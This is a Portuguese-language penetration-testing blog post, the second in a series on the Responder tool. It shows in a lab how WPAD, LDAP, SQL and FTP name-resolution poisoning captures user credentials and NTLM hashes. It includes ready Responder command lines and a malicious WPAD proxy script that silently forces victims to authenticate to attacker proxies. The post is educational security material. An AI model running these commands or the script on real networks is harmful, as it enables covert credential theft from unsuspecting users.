Brincando com WPAD, LDAP, FTP e SQL – Responder Parte 2

Fala galera, no post de hoje iremos dar continuidade a série de posts sobre o Responder. No último post vimos bastante coisa sobre essa maravilhosa ferramenta, aprendemos sobre alguns dos principais protocolos envolvidos nos ataques e muito mais. Hoje iremos ver a exploração dos seguintes protocolos utilizando o Responder, WPAD, LDAP, FTP e SQL.

Bem, como no nosso último post LLMNR / NBT-NS Poisoning Attack – Responder Parte 1 já falamos bastante da ferramenta em sí, hoje irei me restringir aos ataques. Caso você ainda não tenha visto, recomendo fortemente a leitura do último post antes de continuar aqui 😉

Laboratório

Nosso ambiente de laboratório é bem simples, mas também bem comum pelas redes a fora. É composto por um firewall, servidores (AD, SQL, HTTP, FTP e etc..) e os clientes da rede. A imagem abaixo ilustra bem:

Nesse post iremos utilizar o Responder com os seguintes parâmetros:

# python Responder.py -I eth0 -b -f -w -F --lm

-I: Define a interface de rede. 
-b: Retorna autenticação HTTP do tipo basic. 
-f: Habilita o modo de fingerprinting. 
-w: Habilita a resposta wpad. 
-F: Força a autenticação NTLM/Basic no arquivo wpad.dat. 
--lm: Força o downgrade de hash LM quando possível.

WPAD

Na maioria das vezes as empresas permitem que os funcionários utilizem a internet através de um proxy para aumentar a segurança, rastrear o tráfego, aumentar a performance, além de outras coisas. Os usuários precisam saber o endereço do proxy para conseguirem navegar, o problema é que não se pode deixar essa responsabilidade nas mãos deles. Por isso foi desenvolvido o WPAD (Web Proxy Auto-Discovery Protocol), um método utilizado pelos clientes para encontrar a URL de configuração do proxy com o auxílio dos protocolos DHCPP e/ou DNS.

Quando a consulta é feita através do LLMNR, ela é enviada para todos os clientes da rede via broadcast. Nessa etapa o atacante envia o arquivo wpad.dat malicioso para os clientes da rede, atuando como um servidor WPAD. Um ponto importante é a configuração dos clientes da rede, eles precisam estar configurados para detectar as configurações automaticamente como é mostrado na imagem abaixo:

Depois que o arquivo wpad.dat malicioso é enviado para o cliente, o navegador será automaticamente configurado para utilizar o host do atacante como proxy. Uma tela de autenticação será exibida para o cliente pedindo o usuário e senha utilizados no domínio. Depois que o usuário informar suas credenciais, elas serão exibidas para o atacante como mostrado abaixo:

Autenticação Transparente

Outro recurso muito bom do Responder é a opção de autenticação transparente, essa opção também faz a utilização do arquivo wpad.dat porém a opção -w não precisa ser habilitada como fizemos antes. O conceito primário é forçar a autenticação entre a vítima e o proxy da mesma maneira que a opção que vimos anteriormente faz, mas a grande diferença é que não é exibido nenhum prompt de autenticação na tela da vítima, como a opção -F faz.

Quando a vítima tenta acessar um site ela faz uma solicitação ao proxy (atacante) que por sua vez responde com um código 407 (Proxy Authentication Required), com isso a vítima transparentemente irá enviar o hash NTLMv1/NTLMv2 para proxy. Isso é feito utilizando o seguinte script WPAD:

function FindProxyForURL(url, host)
{
if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) 
 return "DIRECT";

if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
 return "DIRECT";

return 'PROXY 10.10.100.10:3128; PROXY 10.10.100.20:3141; DIRECT';
}

A mágica acontece na última linha que diz o seguinte; Se o proxy 10.10.100.10:3128 falhar então use o 10.10.100.20:3141, porém se ambos falharem acesse a internet diretamente. Por isso é importante não utilizar a opção -w quando for realizar esse ataque.

Quando qualquer cliente da rede se conectar com 10.10.100.10:3128 e enviar uma solicitação de URL, cookies, headers e etc. o módulo Auth-Proxy irá responder com um código 407 solicitando a credencial. A vítima irá responder com o hash da senha e irá receber um TCP Reset do proxy logo depois de enviar a credencial. Isso é feito para simular uma falha do proxy. Depois de receber o Reset a vítima irá tentar se conectar com o segundo proxy, que está intencionalmente offline. Em seguida a vítima acessa a internet diretamente; com isso o usuário não percebe que foi vítima de um ataque porque tudo ocorreu de forma transparente pra ele.

Os parâmetros utilizados nesse ataque são:

# responder -I eth0 -Prv

Na imagem abaixo podemos ver o hash do usuário sendo capturado depois que ele simplesmente abriu o browser. A diferença entre esse ataque e o anterior é que a credencial não é capturada em texto claro, porém conseguimos capturar muito mais hashes.

LDAP

Outro protocolo que o Responder é capaz de explorar na rede é o LDAP. Quando os clientes da rede fazem solicitações LDAP na rede o Responder é capaz de capturar o hash da senha como iremos mostrar abaixo. Mas antes de continuar, vamos entender um pouco melhor sobre esse protocolo.

O LDAP (Lightweight Directory Access Protocol) é um protocolo de aplicação aberto para acessar e manter serviços de informação de diretório distribuído sobre uma rede IP. Os serviços de diretório desempenham um papel importante no desenvolvimento de aplicações intranet e Internet permitindo o compartilhamento de informações sobre usuários, sistemas, redes, serviços e aplicações através da rede.

Uma utilização comum do LDAP é fornecer um “logon único” onde uma senha para um usuário é compartilhada entre muitos serviços, como a aplicação de um código de login da companhia. O Active Directory é uma implementação de serviço de diretório no protocolo LDAP que armazena informações sobre objetos e disponibiliza essas informações a usuários e administradores.

Estamos utilizando os mesmos parâmetros citados no início do post. Quando algum cliente da rede faz solicitações LDAP o Responder é capaz de capturar o hash como é mostrado nas imagens abaixo. Você pode usar o John The Ripper para tentar obter a senha conforme eu mostrei no post anterior.

SQL

Agora iremos ver a exploração de SQL, como nos outros casos, quando um cliente tenta fazer uma conexão remota a base de dados e alguma parte dessa solicitação estiver errada, o host irá enviar uma requisição em broadcast para tentar descobrir o host de destino e é nesse ponto que o Responder irá atuar, ele irá responder essa solicitação informando que ele é o servidor SQL, com isso o cliente irá enviar as credenciais de acesso ao banco direto para o atacante. Mas antes de vermos esse ataque, vamos aprender um pouco mais sobre o SQL.

O SQL (Structured Query Language) é a linguagem de pesquisa declarativa padrão para banco de dados. O SQL foi desenvolvido originalmente no início dos anos 70 nos laboratórios da IBM em San Jose. A linguagem é um grande padrão de banco de dados. Isto decorre da sua simplicidade e facilidade de uso. Ela se diferencia de outras linguagens de consulta a banco de dados no sentido em que uma consulta SQL especifica a forma do resultado e não o caminho para chegar a ele. Ela é uma linguagem declarativa em oposição a outras linguagens procedurais. Isto reduz o ciclo de aprendizado daqueles que se iniciam na linguagem.

Conforme a exploração anterior, os parâmetro do Responder são os mesmos. No exemplo abaixo o usuário o nome do servidor SQL errado, o que resultou no envio do broadcast na rede. Logo em seguida vemos o Responder capturar a credencial em texto claro.

FTP

O último protocolo que iremos ver é o FTP, é um protocolo largamente utilizado e bem comum de ser encontrado durante os pentests internos. Assim como no caso do WPAD e SQL mostrados acima, as credenciais obtidas também são em texto claro, o que facilita bastante a nossa vida 😉 Como de praxe, vamos conhecer um pouco melhor do FTP antes de continuar.

O FTP (File Transfer Protocol) é uma forma de transferir arquivos. A transferência de dados envolve normalmente transferência de arquivos e acesso a sistemas de arquivos com autenticação de usuário e senha, ou também de forma anônima. O FTP é baseado no TCP, mas é anterior à pilha de protocolos TCP/IP, sendo posteriormente adaptado para o TCP/IP. O uso do FTP é não é seguro porque a transferência de arquivos é feita sem encriptação, ou seja, a transmissão dos dados é feita pela rede em formato de texto plano.

A lógica de funcionamento desse ataque é a mesma das já citadas anteriormente, um cliente da rede faz uma solicitação de login à algum servidor FTP porém com o nome do host incorreto, o que impede que o DNS da rede resolva essa solicitação. Em seguida o cliente envia um broadcast na rede em busca desse host desconhecido, dai o Responder responde essa requisição e captura as credenciais como podemos ver nas imagens abaixo:

Bem pessoal é isso ai, espero que tenham curtido. Não preciso dizer que esse post tem fins educacionais apenas, não utilize esse conhecimento para fins maliciosos. Não esqueçam de curtir nossas páginas nas redes sociais, Facebook, G+ e seguir o Guia do Ti no Twitter. Compartilhem e comentem esse artigo, isso é muito importante para divulgação do nosso trabalho.

Referências

• Sobre
• Últimos Posts

Siga me

Ricardo Galossi

É um apaixonado por segurança da informação, atua profissionalmente há mais de 7 anos na área de tecnologia da informação, onde é focado em análise de vulnerabilidades e testes de invasão.Criou o blog Guia do TI para compartilhar conhecimento, ajudar os mais novos, incentivar debates e manter a comunidade atualizada com as principais notícias da área de TI.

Siga me

Últimos posts por Ricardo Galossi (exibir todos)

• Metasploit Framework de cabo a rabo – Parte 6 - 4 de junho de 2018
• Metasploit Framework de cabo a rabo – Parte 5 - 28 de maio de 2018
• CEH – Scanning Networks – Parte 2 - 24 de maio de 2018